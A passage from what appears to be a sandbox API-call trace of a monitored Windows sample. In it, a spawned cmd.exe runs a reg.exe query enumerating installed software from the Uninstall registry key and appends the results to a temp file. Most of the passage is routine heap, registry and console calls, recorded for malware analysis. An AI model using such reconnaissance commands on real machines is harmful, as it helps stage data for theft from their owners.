lpOverlapped=0x0 | out: lpBuffer=0x15f878*, lpNumberOfBytesRead=0x15f820*=0x1, lpOverlapped=0x0) returned 1 [0148.779] GetConsoleTitleW (in: lpConsoleTitle=0x15f8b0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0148.779] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0148.779] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0148.779] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0148.779] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0148.779] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0148.779] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0148.779] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0148.779] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0148.779] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0148.779] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0148.779] GetProcessHeap () returned 0x280000 [0148.779] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x3c) returned 0x298570 [0148.780] GetProcessHeap () returned 0x280000 [0148.780] RtlReAllocateHeap (Heap=0x280000, Flags=0x0, Ptr=0x298570, Size=0x24) returned 0x294680 [0148.780] GetProcessHeap () returned 0x280000 [0148.780] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x294680) returned 0x24 [0148.780] GetProcessHeap () returned 0x280000 [0148.780] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x30) returned 0x2965b0 [0148.780] _vsnwprintf (in: _Buffer=0x4ab56340, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x15f648 | out: _Buffer="-------- \r\n") returned 11 [0148.780] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.780] GetFileType (hFile=0x50) returned 0x1 [0148.780] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.780] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="-------- \r\n", cchWideChar=-1, lpMultiByteStr=0x4ab4c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-------- \r\n", lpUsedDefaultChar=0x0) returned 12 [0148.780] WriteFile (in: hFile=0x50, lpBuffer=0x4ab4c320*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x15f618, lpOverlapped=0x0 | out: lpBuffer=0x4ab4c320*, lpNumberOfBytesWritten=0x15f618*=0xb, lpOverlapped=0x0) returned 1 [0148.781] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0148.782] _close (_FileHandle=3) returned 0 [0148.782] _get_osfhandle (_FileHandle=1) returned 0x7 [0148.782] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0148.783] _get_osfhandle (_FileHandle=1) returned 0x7 [0148.783] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab3e194 | out: lpMode=0x4ab3e194) returned 1 [0148.783] _get_osfhandle (_FileHandle=0) returned 0x3 [0148.783] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab3e198 | out: lpMode=0x4ab3e198) returned 1 [0148.783] SetConsoleInputExeNameW () returned 0x1 [0148.783] GetConsoleOutputCP () returned 0x1b5 [0148.783] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab4bfe0 | out: lpCPInfo=0x4ab4bfe0) returned 1 [0148.783] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0148.784] exit (_Code=0) Process: id = "42" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x2bb72000" os_pid = "0x848" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x458" cmd_line = "cmd /C \"reg.exe query \"HKLM\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\" /s >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"" cur_dir = "C:\\Windows\\system32\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "64" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ca" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 349 os_tid = 0x934 [0148.845] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x19fc40 | out: lpSystemTimeAsFileTime=0x19fc40*(dwLowDateTime=0xffcdc890, dwHighDateTime=0x1d51ed4)) [0148.845] GetCurrentProcessId () returned 0x848 [0148.845] GetCurrentThreadId () returned 0x934 [0148.845] GetTickCount () returned 0x3119c [0148.845] QueryPerformanceCounter (in: lpPerformanceCount=0x19fc48 | out: lpPerformanceCount=0x19fc48*=27337000215) returned 1 [0148.847] GetModuleHandleW (lpModuleName=0x0) returned 0x4a9c0000 [0148.847] __set_app_type (_Type=0x1) [0148.847] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a9e7810) returned 0x0 [0148.847] __getmainargs (in: _Argc=0x4aa0a608, _Argv=0x4aa0a618, _Env=0x4aa0a610, _DoWildCard=0, _StartInfo=0x4a9ee0f4 | out: _Argc=0x4aa0a608, _Argv=0x4aa0a618, _Env=0x4aa0a610) returned 0 [0148.848] GetCurrentThreadId () returned 0x934 [0148.848] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x934) returned 0x3c [0148.848] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77040000 [0148.848] GetProcAddress (hModule=0x77040000, lpProcName="SetThreadUILanguage") returned 0x77056d40 [0148.848] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0148.848] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0148.848] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x19fbd8 | out: phkResult=0x19fbd8*=0x0) returned 0x2 [0148.848] VirtualQuery (in: lpAddress=0x19fbc0, lpBuffer=0x19fb40, dwLength=0x30 | out: lpBuffer=0x19fb40*(BaseAddress=0x19f000, AllocationBase=0xa0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0148.848] VirtualQuery (in: lpAddress=0xa0000, lpBuffer=0x19fb40, dwLength=0x30 | out: lpBuffer=0x19fb40*(BaseAddress=0xa0000, AllocationBase=0xa0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0148.848] VirtualQuery (in: lpAddress=0xa1000, lpBuffer=0x19fb40, dwLength=0x30 | out: lpBuffer=0x19fb40*(BaseAddress=0xa1000, AllocationBase=0xa0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0148.848] VirtualQuery (in: lpAddress=0xa4000, lpBuffer=0x19fb40, dwLength=0x30 | out: lpBuffer=0x19fb40*(BaseAddress=0xa4000, AllocationBase=0xa0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0148.848] VirtualQuery (in: lpAddress=0x1a0000, lpBuffer=0x19fb40, dwLength=0x30 | out: lpBuffer=0x19fb40*(BaseAddress=0x1a0000, AllocationBase=0x1a0000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x67000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0148.848] GetConsoleOutputCP () returned 0x1b5 [0148.849] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a9fbfe0 | out: lpCPInfo=0x4a9fbfe0) returned 1 [0148.849] SetConsoleCtrlHandler (HandlerRoutine=0x4a9e3184, Add=1) returned 1 [0148.849] _get_osfhandle (_FileHandle=1) returned 0x7 [0148.850] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0148.850] _get_osfhandle (_FileHandle=1) returned 0x7 [0148.850] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a9ee194 | out: lpMode=0x4a9ee194) returned 1 [0148.850] _get_osfhandle (_FileHandle=1) returned 0x7 [0148.850] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0148.850] _get_osfhandle (_FileHandle=0) returned 0x3 [0148.850] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a9ee198 | out: lpMode=0x4a9ee198) returned 1 [0148.850] _get_osfhandle (_FileHandle=0) returned 0x3 [0148.850] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0148.851] GetEnvironmentStringsW () returned 0x358b90* [0148.851] GetProcessHeap () returned 0x340000 [0148.851] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0xa78) returned 0x359610 [0148.851] FreeEnvironmentStringsW (penv=0x358b90) returned 1 [0148.851] GetProcessHeap () returned 0x340000 [0148.851] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x8) returned 0x358a10 [0148.851] GetEnvironmentStringsW () returned 0x358b90* [0148.851] GetProcessHeap () returned 0x340000 [0148.851] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0xa78) returned 0x35a090 [0148.851] FreeEnvironmentStringsW (penv=0x358b90) returned 1 [0148.851] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x19ea98 | out: phkResult=0x19ea98*=0x44) returned 0x0 [0148.851] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x19ea90, lpData=0x19eab0, lpcbData=0x19ea94*=0x1000 | out: lpType=0x19ea90*=0x0, lpData=0x19eab0*=0x18, lpcbData=0x19ea94*=0x1000) returned 0x2 [0148.851] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x19ea90, lpData=0x19eab0, lpcbData=0x19ea94*=0x1000 | out: lpType=0x19ea90*=0x4, lpData=0x19eab0*=0x1, lpcbData=0x19ea94*=0x4) returned 0x0 [0148.851] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x19ea90, lpData=0x19eab0, lpcbData=0x19ea94*=0x1000 | out: lpType=0x19ea90*=0x0, lpData=0x19eab0*=0x1, lpcbData=0x19ea94*=0x1000) returned 0x2 [0148.851] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x19ea90, lpData=0x19eab0, lpcbData=0x19ea94*=0x1000 | out: lpType=0x19ea90*=0x4, lpData=0x19eab0*=0x0, lpcbData=0x19ea94*=0x4) returned 0x0 [0148.851] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x19ea90, lpData=0x19eab0, lpcbData=0x19ea94*=0x1000 | out: lpType=0x19ea90*=0x4, lpData=0x19eab0*=0x40, lpcbData=0x19ea94*=0x4) returned 0x0 [0148.851] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x19ea90, lpData=0x19eab0, lpcbData=0x19ea94*=0x1000 | out: lpType=0x19ea90*=0x4, lpData=0x19eab0*=0x40, lpcbData=0x19ea94*=0x4) returned 0x0 [0148.851] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x19ea90, lpData=0x19eab0, lpcbData=0x19ea94*=0x1000 | out: lpType=0x19ea90*=0x0, lpData=0x19eab0*=0x40, lpcbData=0x19ea94*=0x1000) returned 0x2 [0148.851] RegCloseKey (hKey=0x44) returned 0x0 [0148.851] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x19ea98 | out: phkResult=0x19ea98*=0x44) returned 0x0 [0148.851] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x19ea90, lpData=0x19eab0, lpcbData=0x19ea94*=0x1000 | out: lpType=0x19ea90*=0x0, lpData=0x19eab0*=0x40, lpcbData=0x19ea94*=0x1000) returned 0x2 [0148.851] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x19ea90, lpData=0x19eab0, lpcbData=0x19ea94*=0x1000 | out: lpType=0x19ea90*=0x4, lpData=0x19eab0*=0x1, lpcbData=0x19ea94*=0x4) returned 0x0 [0148.851] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x19ea90, lpData=0x19eab0, lpcbData=0x19ea94*=0x1000 | out: lpType=0x19ea90*=0x0, lpData=0x19eab0*=0x1, lpcbData=0x19ea94*=0x1000) returned 0x2 [0148.852] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x19ea90, lpData=0x19eab0, lpcbData=0x19ea94*=0x1000 | out: lpType=0x19ea90*=0x4, lpData=0x19eab0*=0x0, lpcbData=0x19ea94*=0x4) returned 0x0 [0148.852] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x19ea90, lpData=0x19eab0, lpcbData=0x19ea94*=0x1000 | out: lpType=0x19ea90*=0x4, lpData=0x19eab0*=0x9, lpcbData=0x19ea94*=0x4) returned 0x0 [0148.852] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x19ea90, lpData=0x19eab0, lpcbData=0x19ea94*=0x1000 | out: lpType=0x19ea90*=0x4, lpData=0x19eab0*=0x9, lpcbData=0x19ea94*=0x4) returned 0x0 [0148.852] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x19ea90, lpData=0x19eab0, lpcbData=0x19ea94*=0x1000 | out: lpType=0x19ea90*=0x0, lpData=0x19eab0*=0x9, lpcbData=0x19ea94*=0x1000) returned 0x2 [0148.852] RegCloseKey (hKey=0x44) returned 0x0 [0148.852] time (in: timer=0x0 | out: timer=0x0) returned 0x5cfd2099 [0148.852] srand (_Seed=0x5cfd2099) [0148.852] GetCommandLineW () returned="cmd /C \"reg.exe query \"HKLM\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\" /s >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"" [0148.852] GetCommandLineW () returned="cmd /C \"reg.exe query \"HKLM\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\" /s >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"" [0148.852] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a9fc0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0148.852] GetProcessHeap () returned 0x340000 [0148.852] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x218) returned 0x35ab10 [0148.852] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x35ab20, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0148.852] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a9ef360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0148.852] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a9ef360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0148.852] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a9ef360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0148.852] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0148.852] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0148.852] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0148.852] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0148.852] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0148.852] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0148.852] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0148.852] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0148.853] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0148.853] GetProcessHeap () returned 0x340000 [0148.853] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x359610 | out: hHeap=0x340000) returned 1 [0148.853] GetEnvironmentStringsW () returned 0x358b90* [0148.853] GetProcessHeap () returned 0x340000 [0148.853] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0xa90) returned 0x35b7d0 [0148.853] FreeEnvironmentStringsW (penv=0x358b90) returned 1 [0148.853] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a9ef360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0148.853] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a9ef360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0148.853] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0148.853] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0148.853] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0148.853] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0148.853] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0148.853] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0148.853] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0148.853] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0148.853] GetProcessHeap () returned 0x340000 [0148.853] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x38) returned 0x3565c0 [0148.853] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x19f8a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0148.853] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x104, lpBuffer=0x19f8a0, lpFilePart=0x19f880 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x19f880*="system32") returned 0x13 [0148.853] GetFileAttributesW (lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32")) returned 0x10 [0148.854] FindFirstFileW (in: lpFileName="C:\\Windows", lpFindFileData=0x19f5b0 | out: lpFindFileData=0x19f5b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdc77c7e0, ftLastAccessTime.dwHighDateTime=0x1d4d5d9, ftLastWriteTime.dwLowDateTime=0xdc77c7e0, ftLastWriteTime.dwHighDateTime=0x1d4d5d9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd60000d6, cFileName="Windows", cAlternateFileName="")) returned 0x341320 [0148.854] FindClose (in: hFindFile=0x341320 | out: hFindFile=0x341320) returned 1 [0148.854] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0x19f5b0 | out: lpFindFileData=0x19f5b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec9a6f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd859920, ftLastAccessTime.dwHighDateTime=0x1d4d5f8, ftLastWriteTime.dwLowDateTime=0xd859920, ftLastWriteTime.dwHighDateTime=0x1d4d5f8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd60000d6, cFileName="System32", cAlternateFileName="")) returned 0x341320 [0148.854] FindClose (in: hFindFile=0x341320 | out: hFindFile=0x341320) returned 1 [0148.854] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10 [0148.854] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1 [0148.854] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1 [0148.854] GetProcessHeap () returned 0x340000 [0148.854] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x35b7d0 | out: hHeap=0x340000) returned 1 [0148.854] GetEnvironmentStringsW () returned 0x358b90* [0148.854] GetProcessHeap () returned 0x340000 [0148.854] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0xac0) returned 0x35ad30 [0148.854] FreeEnvironmentStringsW (penv=0x358b90) returned 1 [0148.854] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a9fc0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0148.854] GetProcessHeap () returned 0x340000 [0148.854] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x3565c0 | out: hHeap=0x340000) returned 1 [0148.854] GetProcessHeap () returned 0x340000 [0148.854] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x4016) returned 0x35cd40 [0148.855] GetProcessHeap () returned 0x340000 [0148.855] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x12c) returned 0x35b800 [0148.855] GetProcessHeap () returned 0x340000 [0148.855] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x4010) returned 0x360d60 [0148.855] GetProcessHeap () returned 0x340000 [0148.855] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x4010) returned 0x364d80 [0148.855] GetProcessHeap () returned 0x340000 [0148.855] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x35cd40 | out: hHeap=0x340000) returned 1 [0148.855] GetConsoleOutputCP () returned 0x1b5 [0148.855] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a9fbfe0 | out: lpCPInfo=0x4a9fbfe0) returned 1 [0148.856] GetUserDefaultLCID () returned 0x409 [0148.856] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a9f7b50, cchData=8 | out: lpLCData=":") returned 2 [0148.856] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x19f9b0, cchData=128 | out: lpLCData="0") returned 2 [0148.856] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x19f9b0, cchData=128 | out: lpLCData="0") returned 2 [0148.856] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x19f9b0, cchData=128 | out: lpLCData="1") returned 2 [0148.856] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4aa0a740, cchData=8 | out: lpLCData="/") returned 2 [0148.856] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4aa0a4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0148.856] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4aa0a460, cchData=32 | out: lpLCData="Tue") returned 4 [0148.856] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4aa0a420, cchData=32 | out: lpLCData="Wed") returned 4 [0148.856] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4aa0a3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0148.856] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4aa0a3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0148.856] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4aa0a360, cchData=32 | out: lpLCData="Sat") returned 4 [0148.856] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4aa0a700, cchData=32 | out: lpLCData="Sun") returned 4 [0148.856] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a9f7b40, cchData=8 | out: lpLCData=".") returned 2 [0148.856] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4aa0a4e0, cchData=8 | out: lpLCData=",") returned 2 [0148.856] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0148.857] GetProcessHeap () returned 0x340000 [0148.857] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x20c) returned 0x35b9b0 [0148.857] GetConsoleTitleW (in: lpConsoleTitle=0x35b9b0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0148.857] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77040000 [0148.857] GetProcAddress (hModule=0x77040000, lpProcName="CopyFileExW") returned 0x770523d0 [0148.857] GetProcAddress (hModule=0x77040000, lpProcName="IsDebuggerPresent") returned 0x77048290 [0148.857] GetProcAddress (hModule=0x77040000, lpProcName="SetConsoleInputExeNameW") returned 0x770517e0 [0148.858] GetProcessHeap () returned 0x340000 [0148.858] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x4012) returned 0x35cd40 [0148.858] GetProcessHeap () returned 0x340000 [0148.858] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x35cd40 | out: hHeap=0x340000) returned 1 [0148.858] _wcsicmp (_String1="reg.exe", _String2=")") returned 73 [0148.858] _wcsicmp (_String1="FOR", _String2="reg.exe") returned -12 [0148.858] _wcsicmp (_String1="FOR/?", _String2="reg.exe") returned -12 [0148.858] _wcsicmp (_String1="IF", _String2="reg.exe") returned -9 [0148.858] _wcsicmp (_String1="IF/?", _String2="reg.exe") returned -9 [0148.858] _wcsicmp (_String1="REM", _String2="reg.exe") returned 6 [0148.858] _wcsicmp (_String1="REM/?", _String2="reg.exe") returned 6 [0148.858] GetProcessHeap () returned 0x340000 [0148.858] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0xb0) returned 0x35bbd0 [0148.858] GetProcessHeap () returned 0x340000 [0148.858] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x20) returned 0x3546c0 [0148.860] GetProcessHeap () returned 0x340000 [0148.860] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0xb4) returned 0x35bc90 [0148.860] GetProcessHeap () returned 0x340000 [0148.860] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x38) returned 0x3565c0 [0148.862] GetProcessHeap () returned 0x340000 [0148.862] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x6e) returned 0x35bd50 [0148.863] GetProcessHeap () returned 0x340000 [0148.863] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x28) returned 0x3546f0 [0148.863] _get_osfhandle (_FileHandle=1) returned 0x7 [0148.863] _get_osfhandle (_FileHandle=1) returned 0x7 [0148.863] _get_osfhandle (_FileHandle=1) returned 0x7 [0148.863] GetFileType (hFile=0x7) returned 0x2 [0148.863] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0148.863] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x19f888 | out: lpMode=0x19f888) returned 1 [0148.864] _dup (_FileHandle=1) returned 3 [0148.864] _close (_FileHandle=1) returned 0 [0148.864] _wcsicmp (_String1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1", _String2="con") returned -53 [0148.864] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\1d0e.bin1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x19f838, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50 [0148.864] _open_osfhandle (_OSFileHandle=0x50, _Flags=8) returned 1 [0148.864] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.865] GetFileType (hFile=0x50) returned 0x1 [0148.865] GetFileSize (in: hFile=0x50, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xbf9b [0148.865] SetFilePointer (in: hFile=0x50, lDistanceToMove=-1, lpDistanceToMoveHigh=0x19f898*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f898*=0) returned 0xbf9a [0148.865] ReadFile (in: hFile=0x50, lpBuffer=0x19f888, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x19f830, lpOverlapped=0x0 | out: lpBuffer=0x19f888*, lpNumberOfBytesRead=0x19f830*=0x1, lpOverlapped=0x0) returned 1 [0148.865] GetConsoleTitleW (in: lpConsoleTitle=0x19f8c0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0148.865] GetFileAttributesW (lpFileName="reg.exe" (normalized: 